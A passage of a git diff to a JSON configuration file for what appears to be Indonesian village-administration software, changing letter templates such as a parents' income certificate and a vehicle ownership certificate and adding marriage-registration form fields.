        \u00a0<\/div>", - "form_isian": { - "individu": { - "sumber": 1, - "data": [ - "1" - ], - "sex": "", - "status_dasar": [ - "1", - "2", - "3", - "4", - "6", - "9" - ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", - "info": "", - "sebagai": 1, - "hubungan": null - } - }, - "kode_isian": null, - "orientasi": "Potrait", - "ukuran": "F4", - "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", - "margin_global": "0", - "footer": "1", - "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" - }, - { - "nama": "Keterangan Penghasilan Orang Tua", - "url_surat": "surat-keterangan-penghasilan-orang-tua", - "kode_surat": "S-42", - "lampiran": null, - "kunci": false, - "favorit": false, - "jenis": "3", - "mandiri": false, - "masa_berlaku": 1, - "satuan_masa_berlaku": "M", - "qr_code": false, - "logo_garuda": false, - "kecamatan": "0", - "syarat_surat": null, - "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]<\/p>\r\n

        \u00a0<\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nNIK<\/td>\r\n:<\/td>\r\n[NiK]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nNomor Induk Siswa\/Mahasiswa<\/td>\r\n:<\/td>\r\n[Form_nomor_induk_siswamahasiswA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nJurusan\/Fakultas\/Prodi<\/td>\r\n:<\/td>\r\n[Form_jurusanfakultasprodI]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nSekolah\/Perguruan Tinggi<\/td>\r\n:<\/td>\r\n[Form_sekolahperguruan_tinggI]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nKelas\/Semester<\/td>\r\n:<\/td>\r\n[Form_kelassemesteR]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgamA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PekerjaaN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n11.<\/td>\r\nAlamat<\/td>\r\n:<\/td>\r\n[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], [Nama_provinsI]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Adalah benar penduduk yang berdomisili di [AlamaT], [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], [Nama_provinsI], dan merupakan Anak\u00a0<\/strong>dari:<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Ayah<\/td>\r\n:<\/td>\r\n[Nama_ayaH]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[Ttl_ayaH]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\nNIK<\/td>\r\n:<\/td>\r\n[Nik_ayaH]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin_ayaH]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\nAgama<\/td>\r\n\u00a0<\/td>\r\n[Agama_ayaH]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_ayaH]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n

        <\/td>\r\n
        Alamat

        <\/td>\r\n
        :

        <\/td>\r\n
        [Alamat_ayaH] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], [Nama_provinsI]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\nPenghasilan<\/td>\r\n:<\/td>\r\n[Form_penghasilan_ayaH] ([Terbilang][[Form_penghasilan_ayaH]])<\/em><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNama Ibu<\/td>\r\n:<\/td>\r\n[Nama_ibU]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[Ttl_ibU]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\nNIK<\/td>\r\n:<\/td>\r\n[Nik_ibU]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin_ibU]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\nAgama<\/td>\r\n\u00a0<\/td>\r\n[Agama_ibU]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_ibU]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n

        <\/td>\r\n
        Alamat

        <\/td>\r\n
        :

        <\/td>\r\n
        [Alamat_ibU] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], [Nama_provinsI]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\nPenghasilan<\/td>\r\n:<\/td>\r\n[Form_penghasilan_ibU] ([Terbilang][[Form_penghasilan_ibU]])<\/em><\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Dengan penghasilan rata-rata Orang Tua [HitunG][[Form_penghasilan_ayaH]+[Form_penghasilan_ibU]] ([Terbilang][[HitunG][[Form_penghasilan_ayaH]+[Form_penghasilan_ibU]]])<\/em>\u00a0<\/strong> <\/strong>setiap bulannya.<\/p>\r\n

        Demikian Surat Keterangan Penghasilan Orangtua ini dibuat dengan sebenarnya agar dapat dipergunakan sebagaimana mestinya.<\/p>\r\n

        \u00a0<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", - "form_isian": { - "individu": { - "sumber": 1, - "data": [ - "1" - ], - "sex": "", - "status_dasar": [ - "1" - ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", - "info": "", - "sebagai": 1, - "hubungan": null - } - }, - "kode_isian": [ + }, + { + "kategori": "Saksi_II", + "tipe": "text", + "kode": "[form_nama_organisasi_penghayat_kepercayaan]", + "nama": "Nama Organisasi Penghayat Kepercayaan", + "deskripsi": "Nama Organisasi Penghayat Kepercayaan", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "6", + "label": "Nama Organisasi Penghayat Kepercayaan", + "kaitkan_kode": "" + }, { + "kategori": "kawin", "tipe": "text", - "kode": "[form_nomor_induk_siswamahasiswa]", - "nama": "Nomor Induk Siswa\/Mahasiswa", - "deskripsi": "Masukkan Nomor Induk Siswa\/Mahasiswa", + "kode": "[form_hari_nikah]", + "nama": "Hari nikah", + "deskripsi": "hari nikah", + "required": "0", + "atribut": "class=\" hari\"\r\nreadonly", + "pilihan": null, + "refrensi": null, + "kolom": "3", + "label": "Hari, Tanggal, Jam", + "kaitkan_kode": "" + }, + { + "kategori": "kawin", + "tipe": "date", + "kode": "[form_tanggal_nikah]", + "nama": "Tanggal Nikah", + "deskripsi": "Tanggal Nikah", + "required": "0", + "atribut": "class=\" datepicker data_hari\"", + "pilihan": null, + "refrensi": null, + "kolom": "3", + "label": "Hari, Tanggal, Jam", + "kaitkan_kode": "" + }, + { + "kategori": "kawin", + "tipe": "time", + "kode": "[form_jam_nikah]", + "nama": "Jam Nikah", + "deskripsi": "Jam Nikah", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "3", + "label": "Hari, Tanggal, Jam", + "kaitkan_kode": "" + }, + { + "kategori": "kawin", + "tipe": "select-otomatis", + "kode": "[form_agama]", + "nama": "Agama", + "deskripsi": "Pilih Agama", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": "tweb_penduduk_agama", + "kolom": "6", + "label": "Agama\/Penghayat Kepercayaan", + "kaitkan_kode": "" + }, + { + "kategori": "kawin", + "tipe": "text", + "kode": "[form_nama_organisasi_penghayat_kepercayaan]", + "nama": "Nama Organisasi Penghayat Kepercayaan", + "deskripsi": "Nama Organisasi Penghayat Kepercayaan", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "12", + "label": "Nama Organisasi Penghayat Kepercayaan", + "kaitkan_kode": "" + }, + { + "kategori": "kawin", + "tipe": "text", + "kode": "[form_nama_badan_peradilan]", + "nama": "Nama Badan Peradilan", + "deskripsi": "Nama Badan Peradilan", "required": "0", "atribut": null, "pilihan": null, @@ -4409,10 +4377,11 @@ "kaitkan_kode": "" }, { + "kategori": "kawin", "tipe": "text", - "kode": "[form_jurusanfakultasprodi]", - "nama": "Jurusan\/Fakultas\/Prodi", - "deskripsi": "Masukkan Jurusan\/Fakultas\/Prodi", + "kode": "[form_nomor_putusan_penetapan_pengadilan]", + "nama": "Nomor Putusan Penetapan Pengadilan", + "deskripsi": "Nomor Putusan Penetapan Pengadilan", "required": "0", "atribut": null, "pilihan": null, @@ -4422,10 +4391,25 @@ "kaitkan_kode": "" }, { + "kategori": "kawin", + "tipe": "date", + "kode": "[form_tanggal_putusan_penetapan_pengadilan]", + "nama": "Tanggal Putusan Penetapan Pengadilan", + "deskripsi": "Tanggal Putusan Penetapan Pengadilan", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "3", + "label": "", + "kaitkan_kode": "" + }, + { + "kategori": "kawin", "tipe": "text", - "kode": "[form_sekolahperguruan_tinggi]", - "nama": "Sekolah\/Perguruan Tinggi", - "deskripsi": "Masukkan Sekolah\/Perguruan Tinggi", + "kode": "[form_nama_pemuka_agamapghyt_kepercayaan]", + "nama": "Nama Pemuka Agama\/Pghyt Kepercayaan", + "deskripsi": "Nama Pemuka Agama\/Pghyt Kepercayaan", "required": "0", "atribut": null, "pilihan": null, @@ -4435,10 +4419,11 @@ "kaitkan_kode": "" }, { + "kategori": "kawin", "tipe": "text", - "kode": "[form_kelassemester]", - "nama": "Kelas\/Semester", - "deskripsi": "Masukkan Kelas\/Semester", + "kode": "[form_ijin_perwakilan_bagi_wna_nomor]", + "nama": "Ijin Perwakilan bagi WNA \/ Nomor", + "deskripsi": "Ijin Perwakilan bagi WNA \/ Nomor", "required": "0", "atribut": null, "pilihan": null, @@ -4448,336 +4433,272 @@ "kaitkan_kode": "" }, { + "kategori": "kawin", "tipe": "text", - "kode": "[form_penghasilan_ayah]", - "nama": "Penghasilan Ayah", - "deskripsi": "Masukkan Penghasilan Ayah", + "kode": "[form_jumlah_anak_yang_telah_diakui_dan_disahkan]", + "nama": "Jumlah Anak Yang Telah Diakui dan Disahkan", + "deskripsi": "Jumlah Anak Yang Telah Diakui dan Disahkan", "required": "0", - "atribut": "class=\" rupiah\"", + "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "6", + "kolom": "", "label": "", "kaitkan_kode": "" }, { + "kategori": "kawin", "tipe": "text", - "kode": "[form_penghasilan_ibu]", - "nama": "Penghasilan Ibu", - "deskripsi": "Masukkan Penghasilan Ibu", + "kode": "[form_nama_anak_pertama]", + "nama": "Nama Anak Pertama", + "deskripsi": "Nama Anak Pertama", "required": "0", - "atribut": "class=\" rupiah\"", + "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "6", - "label": "", + "kolom": "12", + "label": "Nama Anak", + "kaitkan_kode": "" + }, + { + "kategori": "kawin", + "tipe": "text", + "kode": "[form_nama_anak_kedua]", + "nama": "Nama Anak Kedua", + "deskripsi": "Nama Anak Kedua", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "12", + "label": "Nama Anak", + "kaitkan_kode": "" + }, + { + "kategori": "kawin", + "tipe": "text", + "kode": "[form_nama_anak_ketiga]", + "nama": "Nama Anak Ketiga", + "deskripsi": "Nama Anak Ketiga", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "12", + "label": "Nama Anak", "kaitkan_kode": "" - } - ], - "orientasi": "Potrait", - "ukuran": "F4", - "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", - "margin_global": "0", - "footer": "1", - "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" - }, - { - "nama": "Keterangan Kepemilikan Kendaraan", - "url_surat": "surat-keterangan-kepemilikan-kendaraan", - "kode_surat": "S-48", - "lampiran": null, - "kunci": false, - "favorit": false, - "jenis": "3", - "mandiri": true, - "masa_berlaku": 1, - "satuan_masa_berlaku": "M", - "qr_code": false, - "logo_garuda": false, - "kecamatan": "0", - "syarat_surat": "null", - "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [FOrmat_nomor_surat]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan bahwa berdasarkan keterangan dari :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[UsIa]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nAlamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Orang tersebut adalah penduduk [Sebutan_desa] [NaMa_desa], yang mempunyai kendaraan dengan rincian sebagai berikut, sesuai BPKB :
        <\/strong><\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\nMerk \/ Type<\/td>\r\n:<\/td>\r\n[Form_merktypE]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nTahun Pembuatan<\/td>\r\n:<\/td>\r\n[Form_tahun_pembuataN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nWarna<\/td>\r\n:<\/td>\r\n[Form_warna_kendaraaN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nNomor Polisi<\/td>\r\n:<\/td>\r\n[Form_nomor_polisI]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nNomor Mesin<\/td>\r\n:<\/td>\r\n[Form_nomor_mesiN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nNomor Rangka<\/td>\r\n:<\/td>\r\n[Form_nomor_rangkA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nNomor BPKB<\/td>\r\n:<\/td>\r\n[Form_nomor_bpkB]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nBahan Bakar<\/td>\r\n:<\/td>\r\n[Form_bahan_bakaR]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nIsi Silinder<\/td>\r\n\u00a0:<\/td>\r\n[Form_isi_silindeR]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nAtas Nama<\/td>\r\n\u00a0:<\/td>\r\n[Form_atas_namA]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Kendaraan tersebut di atas adalah milik [NAma]<\/strong> yang beralamat di [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten].<\/strong> Surat keterangan ini dipergunakan untuk : [Form_keperluan_pembuatan_suraT]<\/strong>.<\/p>\r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.<\/p>\r\n

        \u00a0<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        Pemilik<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        [NamA]<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
        \u00a0<\/div>", - "form_isian": { - "individu": { - "sumber": 1, - "data": [ - "1" - ], - "sex": "", - "status_dasar": [ - "1" - ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Identitas Pemohon", - "info": "", - "sebagai": 1, - "hubungan": null }, - "kendaraan": { - "sumber": 0, - "data": [ - "1" - ], - "sex": "", - "status_dasar": [ - "1", - "2", - "3", - "4", - "6", - "9" - ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "judul": "Kendaraan", - "label": "IDENTITAS \/ DETAIL KENDARAAN", - "info": "Pengisian Identitas \/ Detail Kendaraan sesuai dengan BPKB", - "sebagai": 0, - "hubungan": "" - } - }, - "kode_isian": [ { - "kategori": "kendaraan", + "kategori": "kawin", "tipe": "text", - "kode": "[form_merktype]", - "nama": "Merk\/Type", - "deskripsi": "Merk\/Type Kendaraan", - "required": "1", + "kode": "[form_nama_anak_ke_empat]", + "nama": "Nama Anak Ke Empat", + "deskripsi": "Nama Anak Ke Empat", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "4", - "label": "Merk\/Type \/ Tahun \/ Warna", + "kolom": "12", + "label": "Nama Anak", "kaitkan_kode": "" }, { - "kategori": "kendaraan", - "tipe": "number", - "kode": "[form_tahun_pembuatan]", - "nama": "Tahun Pembuatan", - "deskripsi": "Tahun Pembuatan", - "required": "1", - "atribut": "min=\"1945\" max=\"2050\"", + "kategori": "kawin", + "tipe": "text", + "kode": "[form_nama_anak_ke_lima]", + "nama": "Nama Anak Ke Lima", + "deskripsi": "Nama Anak Ke Lima", + "required": "0", + "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "4", - "label": "Merk\/Type \/ Tahun \/ Warna", + "kolom": "12", + "label": "Nama Anak", "kaitkan_kode": "" }, { - "kategori": "kendaraan", + "kategori": "kawin", "tipe": "text", - "kode": "[form_warna_kendaraan]", - "nama": "Warna Kendaraan", - "deskripsi": "Warna Kendaraan", - "required": "1", + "kode": "[form_nama_anak_ke_enam]", + "nama": "Nama Anak Ke Enam", + "deskripsi": "Nama Anak Ke Enam", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "4", - "label": "Merk\/Type \/ Tahun \/ Warna", + "kolom": "12", + "label": "Nama Anak", "kaitkan_kode": "" }, { - "kategori": "kendaraan", + "kategori": "kawin", "tipe": "text", - "kode": "[form_nomor_polisi]", - "nama": "Nomor Polisi", - "deskripsi": "Nomor Polisi", - "required": "1", + "kode": "[form_no_akta_lahir_anak_pertama]", + "nama": "No Akta Lahir Anak Pertama", + "deskripsi": "No Akta Lahir Anak Pertama", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "4", - "label": "Nomor Polisi \/ Mesin \/ Rangka", + "kolom": "9", + "label": "No, Tgl. Akta Kelahiran", "kaitkan_kode": "" }, { - "kategori": "kendaraan", - "tipe": "text", - "kode": "[form_nomor_mesin]", - "nama": "Nomor Mesin", - "deskripsi": "Nomor Mesin", - "required": "1", + "kategori": "kawin", + "tipe": "date", + "kode": "[form_tanggal_lahir_anak_pertama]", + "nama": "Tanggal Lahir Anak Pertama", + "deskripsi": "Tanggal Lahir Anak Pertama", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "4", - "label": "Nomor Polisi \/ Mesin \/ Rangka", + "kolom": "3", + "label": "No, Tgl. Akta Kelahiran", "kaitkan_kode": "" }, { - "kategori": "kendaraan", + "kategori": "kawin", "tipe": "text", - "kode": "[form_nomor_rangka]", - "nama": "Nomor Rangka", - "deskripsi": "Nomor Rangka", - "required": "1", + "kode": "[form_no_akta_lahir_anak_kedua]", + "nama": "No Akta Lahir Anak Kedua", + "deskripsi": "No Akta Lahir Anak Kedua", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "4", - "label": "Nomor Polisi \/ Mesin \/ Rangka", + "kolom": "9", + "label": "No, Tgl. Akta Kelahiran", "kaitkan_kode": "" }, { - "kategori": "kendaraan", - "tipe": "text", - "kode": "[form_nomor_bpkb]", - "nama": "Nomor BPKB", - "deskripsi": "Nomor BPKB", - "required": "1", + "kategori": "kawin", + "tipe": "date", + "kode": "[form_tanggal_lahir_anak_kedua]", + "nama": "Tanggal Lahir Anak Kedua", + "deskripsi": "Tanggal Lahir Anak Kedua", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "4", - "label": "Nomor BPKB \/ Bahan Bakar \/ Isi Silinder", + "kolom": "3", + "label": "No, Tgl. Akta Kelahiran", "kaitkan_kode": "" }, { - "kategori": "kendaraan", + "kategori": "kawin", "tipe": "text", - "kode": "[form_bahan_bakar]", - "nama": "Bahan Bakar", - "deskripsi": "Bahan Bakar", - "required": "1", + "kode": "[form_no_akta_lahir_anak_ketiga]", + "nama": "No Akta Lahir Anak Ketiga", + "deskripsi": "No Akta Lahir Anak Ketiga", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "4", - "label": "Nomor BPKB \/ Bahan Bakar \/ Isi Silinder", + "kolom": "9", + "label": "No, Tgl. Akta Kelahiran", "kaitkan_kode": "" }, { - "kategori": "kendaraan", + "kategori": "kawin", + "tipe": "date", + "kode": "[form_tanggal_lahir_anak_ketiga]", + "nama": "Tanggal Lahir Anak Ketiga", + "deskripsi": "Tanggal Lahir Anak Ketiga", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "3", + "label": "No, Tgl. Akta Kelahiran", + "kaitkan_kode": "" + }, + { + "kategori": "kawin", "tipe": "text", - "kode": "[form_isi_silinder]", - "nama": "Isi Silinder", - "deskripsi": "Isi Silinder (dalam CC)", - "required": "1", + "kode": "[form_no_akta_lahir_anak_ke_empat]", + "nama": "No Akta Lahir Anak Ke Empat", + "deskripsi": "No Akta Lahir Anak Ke Empat", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "4", - "label": "Nomor BPKB \/ Bahan Bakar \/ Isi Silinder", + "kolom": "9", + "label": "No, Tgl. Akta Kelahiran", "kaitkan_kode": "" }, { - "kategori": "kendaraan", + "kategori": "kawin", + "tipe": "date", + "kode": "[form_tanggal_lahir_anak_ke_empat]", + "nama": "Tanggal Lahir Anak Ke Empat", + "deskripsi": "Tanggal Lahir Anak Ke Empat", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "3", + "label": "No, Tgl. Akta Kelahiran", + "kaitkan_kode": "" + }, + { + "kategori": "kawin", "tipe": "text", - "kode": "[form_atas_nama]", - "nama": "Atas Nama", - "deskripsi": "Atas Nama", - "required": "1", + "kode": "[form_no_akta_lahir_anak_ke_lima]", + "nama": "No Akta Lahir Anak Ke Lima", + "deskripsi": "No Akta Lahir Anak Ke Lima", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "12", - "label": "Atas Nama", + "kolom": "9", + "label": "No, Tgl. Akta Kelahiran", "kaitkan_kode": "" }, { - "kategori": "kendaraan", - "tipe": "textarea", - "kode": "[form_keperluan_pembuatan_surat]", - "nama": "Keperluan Pembuatan Surat", - "deskripsi": "Untuk Keperluan", - "required": "1", + "kategori": "kawin", + "tipe": "date", + "kode": "[form_tanggal_lahir_anak_ke_lima]", + "nama": "Tanggal Lahir Anak Ke Lima", + "deskripsi": "Tanggal Lahir Anak Ke Lima", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "12", - "label": "Keperluan Pembuatan Surat", + "kolom": "3", + "label": "No, Tgl. Akta Kelahiran", + "kaitkan_kode": "" + }, + { + "kategori": "kawin", + "tipe": "text", + "kode": "[form_no_akta_lahir_anak_ke_enam]", + "nama": "No Akta Lahir Anak Ke Enam", + "deskripsi": "No Akta Lahir Anak Ke Enam", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "9", + "label": "No, Tgl. Akta Kelahiran", + "kaitkan_kode": "" + }, + { + "kategori": "kawin", + "tipe": "date", + "kode": "[form_tanggal_lahir_anak_ke_enam]", + "nama": "Tanggal Lahir Anak Ke Enam", + "deskripsi": "Tanggal Lahir Anak Ke Enam", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "3", + "label": "No, Tgl. Akta Kelahiran", "kaitkan_kode": "" } - ], - "orientasi": "Potrait", - "ukuran": "F4", - "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", - "margin_global": "0", - "footer": "1", - "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" - }, - { - "nama": "Pengantar Permohonan Penerbitan Buku Pas Lintas", - "url_surat": "surat-pengantar-permohonan-penerbitan-buku-pas-lintas", - "kode_surat": "S-43", - "lampiran": null, - "kunci": false, - "favorit": false, - "jenis": "3", - "mandiri": true, - "masa_berlaku": 1, - "satuan_masa_berlaku": "M", - "qr_code": false, - "logo_garuda": false, - "kecamatan": "0", - "syarat_surat": "null", - "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Kode_suraT]\/[Nomer_suraT]\/437.103.09\/[TahuN]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini menerangkan bahwa:<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNomor Induk Kependudukan (NIK)<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNama Lengkap Pemohon<\/td>\r\n:<\/td>\r\n[NAma]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamiN]<\/td>\r\n<\/tr>\r\n
